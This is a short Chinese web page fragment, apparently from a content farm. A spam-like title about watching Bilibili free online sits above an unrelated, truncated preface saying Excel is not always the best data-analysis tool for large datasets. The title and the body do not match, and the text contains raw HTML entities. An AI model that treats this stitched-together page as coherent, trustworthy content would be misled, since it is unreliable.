app网站公司名称/哔哩哔哩b站在线看免费

前言Excel是很多公司非常流行的工具&#xff0c;数据分析师和数据科学家经常发现他们把它作为数据分析和可视化工具的一部分&#xff0c;但这并不总是最好的选择。尤其是在数据量很大的时候&#xff0c;Excel容易让我们无法使用其他应用程序&#xff0c;而且有些报告需要30分钟…...